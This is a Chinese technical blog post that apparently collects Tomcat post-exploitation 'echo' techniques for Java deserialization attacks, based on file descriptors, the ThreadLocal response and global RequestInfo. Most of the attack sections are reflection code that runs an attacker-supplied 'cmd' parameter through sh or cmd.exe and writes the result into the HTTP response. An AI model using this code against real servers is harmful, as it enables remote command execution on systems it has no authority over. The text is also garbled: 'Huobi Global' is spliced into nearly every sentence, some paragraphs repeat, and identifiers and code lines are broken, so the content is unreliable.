【技术分享】Tomcat回显技术学习汇总
01
简 介
2022年初打算把反序列化漏洞后利用技术给学习下,主要分为回显技术和内存马技术两大模块Huobi Global。因为之前对回显技术有所了解,就先把这块知识给弥补下。
02
搭建环境
采用简单的Spring-boot可以快速搭建web项目,并且使用Spring内置的轻量级Tomcat服务,虽然该Tomcat阉割了很多功能,但是基本够用Huobi Global。整个demo放在了github上,地址为
0x1 创建项目
选择Spring Initializr
0x2 添加代码
展开全文
在项目的package中创建controller文件夹Huobi Global,并编写TestController类
import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.;
@Controller@RequestMapping("/app")public class TestController {
@RequestMapping("/test")@ResponseBodypublic String testDemo(String input, ;
String cmd = !";}}
正常在编写Spring-boot代码的时候是不需要在testDemo函数中添加调用参数的Huobi Global。这里为了方便查看Response对象,因此在该函数上添加了。
0x3 添加Maven地址
在ubuntu上搭建环境的时候遇到了依赖包下载失败的情况Huobi Global。
添加如下仓库地址即可解决问题
03
各种回显技术
0x1 通过文件描述符回显
1. 简介
2020年1月00theway师傅在《通杀漏洞利用回显方法-linux平台》文章中提出Huobi Global了一种回显思路
经过一段时间的研究发现了一种新的通杀的回显思路Huobi Global。在LINUX环境下,可以通过文件描述符”/proc/self/fd/i”获取到网络连接,在java中我们可以直接通过文件描述符获取到一个Stream对象,对当前网络连接进行读写操作,可以釜底抽薪在根源上解决回显问题。
经过一段时间的研究发现了一种新的通杀的回显思路Huobi Global。在LINUX环境下,可以通过文件描述符”/proc/self/fd/i”获取到网络连接,在java中我们可以直接通过文件描述符获取到一个Stream对象,对当前网络连接进行读写操作,可以釜底抽薪在根源上解决回显问题。
简单来讲就是利用linux文件描述符实现漏洞回显Huobi Global。作为众多回显思路中的其中一种方法,虽然效果没有后两者的通用型强,但笔者打算学习下这种基于linux文件描述符的特殊利用姿势。
2. 可行性分析
从理论上讲如果获取到了当前请求对应进程的文件描述符Huobi Global,如果输出描述符中写入内容,那么就会在回显中显示,从原理上是可行的,但在这个过程中主要有一个问题需要解决
如何获得本次请求的文件描述符
在/proc/net/tcp6文件中存储Huobi Global了大量的连接请求
其中local_address是服务端的地址和连接端口,remote_address是远程机器的地址和端口(客户端也在此记录),因此我们可以通过remote_address字段筛选出需要的inode号Huobi Global。这里的inode号会在/proc/xx/fd/中的socket一一对应
有了这个对应关系,我们就可以在/proc/xx/fd/目录中筛选出对应inode号的socket,从而获取了文件描述符Huobi Global。整体思路如下
1.通过client ip在/proc/net/tcp6文件中筛选出对应的inode号
2.通过inode号在/proc/$PPID/fd/中筛选出fd号
3.创建FileDeor对象
4.执行命令并向FileDeor对象输出命令执行结果
3. 代码编写
(1)获得本次请求的文件描述符
运行上述命令执行Huobi Global,并将结果存储在num中
while ((line = br.readLine) != null){stringBuilder.append(line);}
int num = Integer.valueOf(stringBuilder.toString).intValue;
(2)执行命令并通过文件描述符输出cmd = new String[]{"/bin/sh","-c","ls /"};in = Runtime.getRuntime.exec(cmd).getInputStream;//执行命令isr = new java.io.InputStreamReader(in);br = new java.io.BufferedReader(isr);stringBuilder = new StringBuilder;
while ((line = br.readLine) != null){//读取命令执行结果stringBuilder.append(line);}
String ret = stringBuilder.toString;java.lang.reflect.Constructor c=java.io.FileDeor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});//获取构造器c.setAccessible(true);
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDeor)c.newInstance(new Object[]{new Integer(num)}));//创建对象os.write(ret.getBytes);//向文件描述符中写入结果os.close;
4. 代码整合
在实际使用过程中注意把客户端IP地址转换成16进制字节倒序,替换xxxx字符串Huobi Global。
while ((line = br.readLine) != null){stringBuilder.append(line);}int num = Integer.valueOf(stringBuilder.toString).intValue;
cmd = new String[]{"/bin/sh","-c","ls /"};in = Runtime.getRuntime.exec(cmd).getInputStream;isr = new java.io.InputStreamReader(in);br = new java.io.BufferedReader(isr);stringBuilder = new StringBuilder;
while ((line = br.readLine) != null){stringBuilder.append(line);}
String ret = stringBuilder.toString;java.lang.reflect.Constructor c=java.io.FileDeor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});c.setAccessible(true);
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDeor)c.newInstance(new Object[]{new Integer(num)}));os.write(ret.getBytes);os.close;
5. 局限性分析
这种方法只适用于linux回显,并且在取文件描述符的过程中有可能会受到其他连接信息的干扰,一般不建议采取此方法进行回显操作,因为有下面两种更好的回显方式Huobi Global。
0x2 通过ThreadLocal Response回显
1. 简介
2020年3月kingkk师傅提出一种基于调用栈中获取Response对象的方法,该方法主要是从ApplicationFilterChain中提取相关对象,因此如果对Tomcat中的Filter有部署上的变动的话就不能通过此方法实现命令回显Huobi Global。
仔细研读了kingkk师傅的思路,发现整个过程并不是很复杂,但前提是要先学会如何熟练使用Java 反射技术进行对象操作Huobi Global。寻找Response进行回显的大概思路如下
1.通过翻阅函数调用栈寻找存储Response的类
2.最好是个静态变量Huobi Global,这样不需要获取对应的实例,毕竟获取对象还是挺麻烦的
3.使用ThreadLocal保存的变量Huobi Global,在获取的时候更加方便,不会有什么错误
4.修复原有输出Huobi Global,通过分析源码找到问题所在
2. 代码分析
师傅就是按照这个思路慢慢寻找Huobi Global,直到找到了保存在ApplicationFilterChain对象中的静态变量lastServicedResponse
在internalDoFilter函数中有对该ThreadLocal变量赋值的操作
但是通过分析代码发现,改变量在初始化运行的时候就已经被设置为null了,这就需要通过反射的方式让lastServiceResponse进行初始化Huobi Global。
在使用response的getWriter函数时,usingWriter 变量就会被设置为trueHuobi Global。如果在一次请求中usingWriter变为了true那么在这次请求之后的结果输出时就会报错
报错内容如下Huobi Global,getWriter已经被调用过一次
那么在代码设计的时候也要解决这个问题,才能把原有的内容通过。
1.通过分析得到其具体实施步骤为2.使用反射把ApplicationDispathcer.WRAP_SAME_OBJECT变量修改为true
3.使用反射初始化ApplicationDispathcer中的lastServicedResponse变量为ThreadLocal
4.使用反射从lastServicedResponse变量中获取tomcat Response变量
5.使用反射修复输出报错
3. 代码编写
(1)ApplicationDispathcer.WRAP_SAME_OBJECT变量修改为true
通过上面的需求,编写对应的代码进行实现,需要提前说明的是WRAP_SAME_OBJECT、lastServicedRequest、lastServicedResponse为static final变量,而且后两者为私有变量,因此需要modifiersField的处理将FINAL属性取消掉
Huobi Global。
相对应的实现代码如下(2)初始化ApplicationDispathcer中的lastServicedResponse变量为ThreadLocal
Huobi Global。这里需要把lastServicedResponse和lastServiceRequest,因为如果这两个其中之一的变量为初始化就会在set的地方报错。
相对应的实现代码如下这里仅仅实现了如何初始化lastServicedRequest和lastServicedResponse这两个变量为ThreadLocal
Huobi Global。在实际实现过程中需要添加判断,如果lastServicedRequest存储的值不是null那么就不要进行初始化操作。
(3)从lastServicedResponse变量中获取tomcat Response变量从上面代码中的lastServicedResponseField直接获取lastServicedResponse变量,因为这时的lastServicedResponse变量为ThreadLocal变量,可以直接通过get方法获取其中存储的变量
Huobi Global。
(4)修复输出报错可以在调用getWriter函数之后,通过反射修改usingWriter变量值
Huobi Global。
果然在添加过这个代码之后就没有任何问题了Huobi Global。
4. 代码整合搬运kingkk师傅代码供大家参考
ThreadLocal<ServletResponse> lastServicedResponse =(ThreadLocal<ServletResponse>) lastServicedResponseField.get( null); ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get( null); booleanWRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean( null); Stringcmd = lastServicedRequest != null? lastServicedRequest.get.getParameter( "cmd") : null; if(!WRAP_SAME_OBJECT || lastServicedResponse == null|| lastServicedRequest == null) { lastServicedRequestField.set( null, newThreadLocal<>); lastServicedResponseField.set( null, newThreadLocal<>); WRAP_SAME_OBJECT_FIELD.setBoolean( null, true); } elseif(cmd != null) { ServletResponse responseFacade = lastServicedResponse.get;responseFacade.getWriter;java.io.Writer w = responseFacade.getWriter;Field responseField = ResponseFacade.class.getDeclaredField( "response"); responseField.setAccessible( true); Response response = (Response) responseField.get(responseFacade);Field usingWriter = Response.class.getDeclaredField( "usingWriter"); usingWriter.setAccessible( true); usingWriter.set(( Object) response, Boolean.FALSE);
booleanisLinux = true; StringosTyp = System.getProperty( "os.name"); if(osTyp != null&& osTyp.toLowerCase.contains( "win")) { isLinux = false; }String[] cmds = isLinux ? newString[]{ "sh", "-c", cmd} : newString[]{ "cmd.exe", "/c", cmd}; InputStream in= Runtime.getRuntime.exec(cmds).getInputStream; Scanner s = newScanner( in).useDelimiter( "\\a"); Stringoutput = s.hasNext ? s.next : ""; w.write(output);w.flush;}
触发方式如下,在网页回显中会把命令执行的结果和之前的内容一并输出来
Huobi Global。
5. 局限性分析通过完整的学习这个回显方式,可以很明显的发现这个弊端,如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显
Huobi Global。其中Shiro RememberMe反序列化漏洞就遇到了这种情况,相关代码如下
org.apache.catalina.core.ApplicationFilterChain核心代码这种方法已经能够满足大多数情况下的回显需求
Huobi Global。并且从中学习到了很多回显思想和操作,将它融合在ysoserial中就能实现在tomcat部署的web服务中的反序列化回显。下面介绍一种不依靠FilterChain的通用型更强的Tomcat回显技术。
03通过全局存储Response回显
2020年3月长亭Litch1师傅找到的一种基于全局储存的新思路,寻找在Tomcat处理Filter和Servlet之前有没有存储response变量的对象
Huobi Global。整个过程分析下来就像是在构造调用链,一环扣一环,知道找到了那个静态变量或者是那个已经创建过的对象。然而师傅通过后者完成了整个利用,下面学习下具体的分析方法。
1. 代码分析在调用栈的初始位置存在
。 因为不是静态变量因此要向上溯源,争取找到存储的操作
具体代码如下Huobi Global,rp为RequestInfo对象,其中包含了request对象,然而request对象包含了response对象
所以Huobi Global我们一旦拿到RequestInfo对象就可以获取到对应的response对象
因为在register代码中把RequestInfo注册到Huobi Global了global中
因此如果获取到了global解决问题,global变量为AbstractProtocol静态内部类ConnectionHandler的成员变量Huobi Global。因为改变量不是静态变量,因此我们还是需要找存储AbstractProtocol类或AbstractProtocol子类。现在的获取链变为了
在调用栈中存在CoyoteAdapter类,其中的connector对象protocolHandler属性为。
如何获取connector对象就成为了问题所在Huobi Global,Litch1师傅分析出在Tomcat启动过程中会创建connector对象,并通过addConnector函数存放在connectors中
那么现在的获取链变成Huobi Global了
connectors同样为非静态属性,那么我们就需要获取在tomcat中已经存在的StandardService对象,而不是新创建的对象Huobi Global。
2. 关键步骤如果能直接获取StandardService对象,那么所有问题都能够迎刃而解Huobi Global
。Litch1师傅通过分析Tomcat类加载获取到了想要的答案。之前我们在《Java安全—JVM类加载》那篇文章中有介绍Tomcat 是如何破坏双亲委派机制的
Huobi Global。
首先说明双亲委派机制的缺点是,当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包Huobi Global。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。
当时分析Shiro反序列化的时候,遇到了Tomcat的类加载器重写了loadClass函数,从而没有严格按照双亲委派机制进行类加载,这样才能实现加载多个相同类,相当于提供了一套隔离机制,为每个web容器提供一个单独的WebAppClassLoader加载器Huobi Global。
Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反Huobi Global。
首先说明双亲委派机制的缺点是,当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包Huobi Global。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。
当时分析Shiro反序列化的时候,遇到了Tomcat的类加载器重写了loadClass函数,从而没有严格按照双亲委派机制进行类加载,这样才能实现加载多个相同类,相当于提供了一套隔离机制,为每个web容器提供一个单独的WebAppClassLoader加载器Huobi Global。
Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反Huobi Global。
如果在SpringBoot项目中调试看下Thread.currentThread.getContextClassLoader中的内容WebappClassLoader里面确实包含了很多很多关于tomcat相关的变量,其中service变量就是要找的StandardService对象Huobi Global
。那么至此整个调用链就有了入口点因为这个调用链中一些变量有get方法因此可以通过get函数很方便的执行调用链,对于那些私有保护属性的变量我们只能采用反射的方式动态的获取
Huobi Global。
3. 代码编写(1)获取Tomcat CloassLoader context
这之后再获取standardContext的context就需要使用反射Huobi Global
了(2)获取standardContext的context
因为context不是final变量Huobi Global
,因此可以省去一些反射修改操作具体代码如下
(3)获取ApplicationContext的service
(4)获取StandardService的connectors获取到connectors之后,可以通过函数发现getProtocolHandler为public,因此我们可以通直接调用该方法的方式获取到对应的handler
Huobi Global
。(6)获取内部类ConnectionHandler的global
好多师傅们都是通过getDeclaredClasses的方式获取到AbstractProtocol的内部类Huobi Global
。笔者通过org.apache.coyote.AbstractProtocol$ConnectionHandler的命名方式,直接使用反射获取该内部类对应字段。(7)获取RequestGroupInfo的processors
processors为List数组Huobi Global
,其中存放的是RequestInfo(8)获取Response
Huobi Global,并做输出处理
遍历获取RequestInfolist中的所有requestInfo,使用反射获取每个requestInfo中的req变量,从而获取对应的responseHuobi Global。在getWriter后将usingWriter置为false,并调用flush进行输出。
4. 代码整合这个流程下来可以大大锻炼Java反射的使用熟练度Huobi Global
。如果按照之前分析的调用链一步一步构造,逻辑相对来说还是比较清晰的。完整代码如下Field contextField = Class.forName( "org.apache.catalina.core.StandardContext").getDeclaredField( "context"); contextField.setAccessible( true); org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)contextField. get(standardContext);
Field serviceField = Class.forName( "org.apache.catalina.core.ApplicationContext").getDeclaredField( "service"); serviceField.setAccessible( true); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService)serviceField. get(ApplicationContext);
Field connectorsField = Class.forName( "org.apache.catalina.core.StandardService").getDeclaredField( "connectors"); connectorsField.setAccessible( true); org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[])connectorsField. get(standardService);org.apache.coyote.ProtocolHandler protocolHandler = connectors[ 0].getProtocolHandler; Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField( "handler"); handlerField.setAccessible( true); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField. get(protocolHandler);
Field globalField = Class.forName( "org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField( "global"); globalField.setAccessible( true); RequestGroupInfo global= (RequestGroupInfo) globalField. get(handler);
Field processors = Class.forName( "org.apache.coyote.RequestGroupInfo").getDeclaredField( "processors"); processors.setAccessible( true); java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors. get( global);
Field req = Class.forName( "org.apache.coyote.RequestInfo").getDeclaredField( "req"); req.setAccessible( true); for(RequestInfo requestInfo : RequestInfolist) { org.apache.coyote.Request request1 = (org.apache.coyote.Request )req. get(requestInfo); org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote( 1); org.apache.catalina.connector.Response response2 = request2.getResponse;java.io.Writer w = response2.getWriter;
String cmd = request2.getParameter( "cmd"); boolean isLinux = true; String osTyp = System.getProperty( "os.name"); if(osTyp != null&& osTyp.toLowerCase.contains( "win")) { isLinux = false; }String[] cmds = isLinux ? newString[]{ "sh", "-c", cmd} : newString[]{ "cmd.exe", "/c", cmd}; InputStream in= Runtime.getRuntime.exec(cmds).getInputStream; Scanner s = newScanner( in).useDelimiter( "\\a"); String output = s.hasNext ? s.next : ""; w.write(output);w.flush;
Field responseField = ResponseFacade.class.getDeclaredField( "response"); responseField.setAccessible( true); Field usingWriter = Response.class.getDeclaredField( "usingWriter"); usingWriter.setAccessible( true); usingWriter. set(response2, Boolean.FALSE); }
5. 局限性分析
利用链过长,会导致
。还有就是操作复杂可能有性能问题,整体来讲该方法不受各种配置的影响,通用型较强。
- 结尾 -
【技术分享】物联网协议—MQTT与ROS 【技术分享】ROS系统的本地搭建
【技术分享】堆中index溢出类漏洞利用思路总结
戳“阅读原文”查看更多内容
评论